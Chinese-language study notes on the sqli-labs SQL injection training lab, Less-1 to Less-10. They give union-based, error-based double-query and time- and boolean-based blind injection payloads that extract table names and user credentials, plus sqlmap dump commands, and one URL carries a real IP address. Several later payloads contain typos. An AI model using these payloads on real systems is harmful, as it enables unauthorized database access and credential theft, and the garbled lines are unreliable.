Sqli-labs-master Less 1-Less10 学习笔记
本次学习主要是为了深入漏洞和渗透原理。
Less-1 GET - Error based - Single quotes - String(基于错误的GET单引号字符型注入)
先按照提示输入 ?id=1

先对ID位置进行注入判定,输入 ?id=1',页面报错。后面添加 --+或者#,恢复正常。可知,其有单引号闭合切无过滤。

采用手动联合查询注入: sqli-labs-master/Less-1/?id=-1 union select 1,2,3--+ ,发现Your Login name 和Your Password处返回了查询的值。
注:此处需要将ID改为一个错误值,因为网页只会返回查询到的第一条数据。

联合查询获取数据库名:sqli-labs-master/Less-1/?id=-1 union select 1,database(),3--+,得到库名security

拓展:Mysql有四个自带的默认数据库information_schema,sys,mysql,performance_schema。
其中:information_schema库用于存储数据库元数据,如:数据库名,表名,列,数据访问,权限等。
常用的表: CHARACTER_SET 提供mysql可用字符集的信息。
SCHEMATA 提供当前实例下所有数据库的信息
TABLES 存储数据库中的表信息
COLUMNS 存储表中的列信息。
获取表名:sqli-labs-master/Less-1/?id=-1 union select 1,2,table_name from information_schema.tables where table_schema='security' limit 0,1--+获取了一个表名。
sqli-labs-master/Less-1/?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()--+ 获取所有表名。

获取users表的字段:sqli-labs-master/Less-1/?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+

分析出其列名为:id,user,password
获取账户信息:sqli-labs-master/Less-1/?id=-1 union select 1,2,group_concat(username,',',password,';') from users--+

账号和密码用,分割。两个账号信息用,;分割。
Less-2 GET - Error based - Intiger based (基于错误的GET整型注入)
通过错误进行判断:/sqli-labs-master/Less-2/?id=1 and 1=1回显正确
/sqli-labs-master/Less-2/?id=1 and 1=2 回显错误
确定回显位置:/sqli-labs-master/Less-2/?id=-1 union select 1,2,3

确定表名:/sqli-labs-master/Less-2/?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()

使用users表,来获取账户相关信息:sqli-labs-master/Less-2/?id=-1%20union%20select%201,2,group_concat(column_name)%20from%20information_schema.columns%20where%20table_name=%27users%27

列名分别为:id;username;password
获取账户信息:/sqli-labs-master/Less-2/?id=-1 union select 1,2,group_concat(username,',',password) from users

至此获取到了账户信息。
使用Sqlmap工具注入(相关参数参阅https://www.freebuf.com/sectool/164608.html)
检查url是否有注入点:./sqlmap.py -u "http://xxx.xxx.xxx.xxx/sqli-labs-master/Less-2/?id=1"
列出数据库中所有数据库名称:./sqlmap.py -u "http://xxx.xxx.xxx.xxx/sqli-labs-master/Less-2/?id=1" --dbs
列出该库所有表:./sqlmap.py -u "http://xxx.xxx.xxx.xxx/sqli-labs-master/Less-2/?id=1" -D security --tables
列出所有:./sqlmap.py -u "http://xxx.xxx.xxx.xxx/sqli-labs-master/Less-2/?id=1" -D security -T users --columns
列出指定字段:./sqlmap.py -u "http://xxx.xxx.xxx.xxx/sqli-labs-master/Less-2/?id=1" -T users -C username,password --dump

注:各个参数的作用及用法
--dbs 显示数据库信息
-D 库名 --tables 获取该库中所有表
-T 表名 --columns 获取所有字段
-C 字段1,字段2 --dumo 获取指定字段
Less-3 GET - Error based - Single quotes with twist string (基于错误的GET单引号变形字符型注入)
确定其闭合为(''):/sqli-labs-master/Less-3/?id=1')and 1=2 --+

确定回显位置:/sqli-labs-master/Less-3/?id=-1') union select 1,2,3--+
获取表名:/sqli-labs-master/Less-3/?id=-1')union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()--+

获取字段:/sqli-labs-master/Less-3/?id=-1')union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+

获取账户信息:/sqli-labs-master/Less-3/?id=-1')union select 1,2,group_concat(username,password) from users--+

Less-4 GET - Error based - Double Quotes - String (基于错误的GET双引号字符型注入)
注:后面同类型的闯关就不上图了,大同小异。区别在于闭合的符号不同。
错误判断:/sqli-labs-master/Less-4/?id=1'
/sqli-labs-master/Less-4/?id=1" --+
/sqli-labs-master/Less-4/?id=-1") and 1=1
确定回显位置:/sqli-labs-master/Less-4/?id=-1") union select 1,2,3--+
获取表名:/sqli-labs-master/Less-4/?id=-1") union select group_concat(table_name) from information_schema.tables where table_schema=database()--+
获取字段名:/sqli-labs-master/Less-4/?id=-1") union select 1,2,group_concat(column_name) from information_schema.columns where table_name="users"--+
获取具体字段 :http://39.105.114.179/sqli-labs-master/Less-4/?id=-1%22)%20union%20select%201,2,group_concat(username,%27:%27,password)%20from%20users--+
sqlmap工具自动获取:0
获取数据库信息:./sqlmap.py -u http://xxx.xxx.xxx.xxx/sqli-labs-master/Less-4/?id=1 --dbs
获取表名:./sqlmap.py -u http://xxx.xxx.xxx.xxx/sqli-labs-master/Less-4/?id=1 -D security --tables
获取字段:./sqlmap.py -u http://xxx.xxx.xxx.xxx/sqli-labs-master/Less-4/?id=1 -D sercurity -T users --columes
获取具体字段内容:./sqlmap.py -u http://xxx.xxx.xxx.xxx/sqli-labs-master/Less-4/?id=1 -D security -T users -C username,password --dump
Less-5 GET - Double Injection - Single Quotes - String (双查询GET单引号字符型注入)
原理分析
1.双注入破解原理:组合利用count(),floor(),group by,rand()函数,能够将信息通过报错显现出来。
payload公式:select count(*),concat(payload,floor(rand(0)*2) as x from information_schmea.tables group by a
count():计算行数
floor():向下取整
group by:分组
rand():随机产生一个0到1的随机数.
2.rand(0)和rand()的差别。
select rand(0),rand(0),rand(),rand();
select floor(rand(0)*) from users和select floor(rand()*2) from users.

运行多次rand(0)会发现其得到的值并未发送变化,为0110110011101。原因是指定了随机数种子0。
3.floor(rand(0))分组查询报错

上面这张图就是group by通过floor分组的过程。
我们知道floor产生的随机序列是固定的011011,再进行group by分组的时候,我会将这个随机序列作为虚拟表的key, 进行查询和插入两步操作。我们假设要先查询后插入,这里我把没有查询到值的查询用黑色,查询到值的查询用红色。
下面来描述一下查询和插入的过程:
第一次查询,再虚拟表中查询key为0的字段,发现虚拟表为空,因此进行插入操作。
第一次插入,再进行插入操作的时候,group by会再次调用floor(),因此插入的key是1而不是0,还会将对应的count()值填在key的后面。
第二次查询,查询时,group by再一次调用floor,得到的值为1,查询虚拟表中是否有key为1的字段,发现存在,因此此处的插入操作就是将coun()的值进行叠加。此时第二次查询操作和插入操作都已经完毕,然后进行第三次查询。
第三次查询,此时查询的key为0,发现虚拟表中没有0,因此要进行插入操作。
第三次插入,再进行插入前,group by要调用floor(),得到了1,因此要插入一个key为1的字段。而key为1的字段已经存在了,因此主键重复,MySQL会报错。(图上多画了一个最后红色的查询3,可以忽略掉)
到现在,你可能就会明白双注入的报错原理了。一定要注意的是,查询 和 插入操作之前都会独立的从floor获取一个新的值,导致查询和插入的key可能不同,因此才会产生这中情况。
注:原文链接:https://blog.csdn.net/weixin_43901998/article/details/105227678
双查询注入失败了。。。。换个方法继续吧
时间延迟盲注入:
判断sleep函数能否生效:/sqli-labs-master/Less-5/?id=1' and sleep(3)--+
网页延迟了3秒钟,该语句生效了。后面可以利用网页的延迟时间来匹配相关信息。
判断库名长度:/sqli-labs-master/Less-5/?id=1' and If(length(database())>1,sleep(3),0)--+
盲注库名(建议用脚本跑):/sqli-labs-master/Less-5/?id=1' and If(left(database(),1)='s',sleep(3),0)--+
盲注表名:/sqli-labs-master/Less-5/?id=1’ and if(ascii(substr((select table_name from information_schema.tables where table_schema=‘security’ limit x,y),z,d))=110,sleep(3),0)--+
盲注字段:/sqli-labs-master/Less-5/?id=1’ and If(ascii(substr((select column_name from information_schema.columns where table_name=‘users’ and table_schema=database() limit x,y),z,d))=105,sleep(3),1)--+
盲注具体字段:/sqli-labs-master/Less-5/?id=1’ and if(ascii(substr(select usersname from users limit x,y)z,d))=110,sleep(3),0)--+
sqlmap工具注入
sqlmap.py -u "http://xxx.xxx.xxx.xxx/sqli-labs-master/Less-5/?id=1"
sqlmap.py -u "http://xxx.xxx.xxx.xxx/sqli-labs-master/Less-5/?id=1" --dbs
sqlmap.py -u "http://xxx.xxx.xxx.xxx/sqli-labs-master/Less-5/?id=1" -D security --table
sqlmap.py -u "http://4xxx.xxx.xxx.xxx/sqli-labs-master/Less-5/?id=1" -D security -T users --column
sqlmap.py -u "http://xxx.xxx.xxx.xxx/sqli-labs-master/Less-5/?id=1" -D security -T users -C username,password --dump
Less-6 GET - Double Injection - Double Quotes - String (双查询GET双引号字符型注入)
同第5关,闭合符号位”,不过多阐述。(手动太耗时间了,不建议)
Less-7 GET - Dump into outfile - String (导出文件GET字符型注入)
环境存在问题,先跳过
Less-8 GET - Blind - Boolian Based - Single Quotes (布尔型单引号GET盲注)
判断闭合:/sqli-labs-master/Less-8/?id=1’ and sleep(2)--+
盲注数据库名:/sqli-labs-master/Less-8/?id=1' and ascii(substr(database(),x,y))=z--+
盲注表名:
/sqli-labs-master/Less-8/?id=1' ascii(substr(select table_name from information_schema.tables where table_chema=database() limit 3,1),x,y))=z--+
盲注字段:
/sqli-labs-master/Less-8/?id=1' and ascii(substr(slect column_name from information_schema.columns where table_name='suers' limit 0,1),x,y)=z--+
盲注具体字段
/sqli-labs-master/Less-8/?id=1' and ascii(substr(select usname from users limit 0,1),x,y)=z--+
Less-9 GET - Blind - Time based. - Single Quotes (基于时间的GET单引号盲注)
判断闭合:/sqli-labs-master/Less-9/?id=1’ and and sleep(2)--+
盲注数据库名:/sqli-labs-master/Less-9/?id=1' and if(ascii(substr(database(),x,y))>z,sleep(3),1)--+
盲注表名:
/sqli-labs-master/Less-9/?id=1' and if(ascii(substr(select table_name from information_schema.tables where table_chema=database() limit 3,1),x,y))>z,sleep(3),1)--+
盲注字段:
/sqli-labs-master/Less-9/?id=1'
and if(ascii(substr(slect column_name from information_schema.columns
where table_name='suers' limit 0,1),x,y)>z,sleep(3),1)--+
盲注具体字段
/sqli-labs-master/Less-9/?id=1' and if(ascii(substr(select usname from users limit 0,1),x,y)>z,sleep(3),1)--+
Less-10 GET - Blind - Time based - double quotes (基于时间的双引号盲注)
确定闭合:/sqli-labs-master/Less-10/?id=1" and sleep(2)--+
盲注数据库名:/sqli-labs-master/Less-9/?id=1" and if(ascii(substr(database(),x,y))>z,sleep(3),1)--+
盲注表名:
/sqli-labs-master/Less-9/?id=1" and if(ascii(substr(select table_name from information_schema.tables where table_chema=database() limit 3,1),x,y))>z,sleep(3),1)--+
盲注字段:
/sqli-labs-master/Less-9/?id=1" and if(ascii(substr(slect column_name from information_schema.columns where table_name='suers' limit 0,1),x,y)>z,sleep(3),1)--+
盲注具体字段
/sqli-labs-master/Less-9/?id=1" and if(ascii(substr(select usname from users limit 0,1),x,y)>z,sleep(3),1)--+
参考文章:sqli_labs学习笔记(一)Less-1~Less-20 - joker0xxx3 - 博客园 (cnblogs.com)

浙公网安备 33010602011771号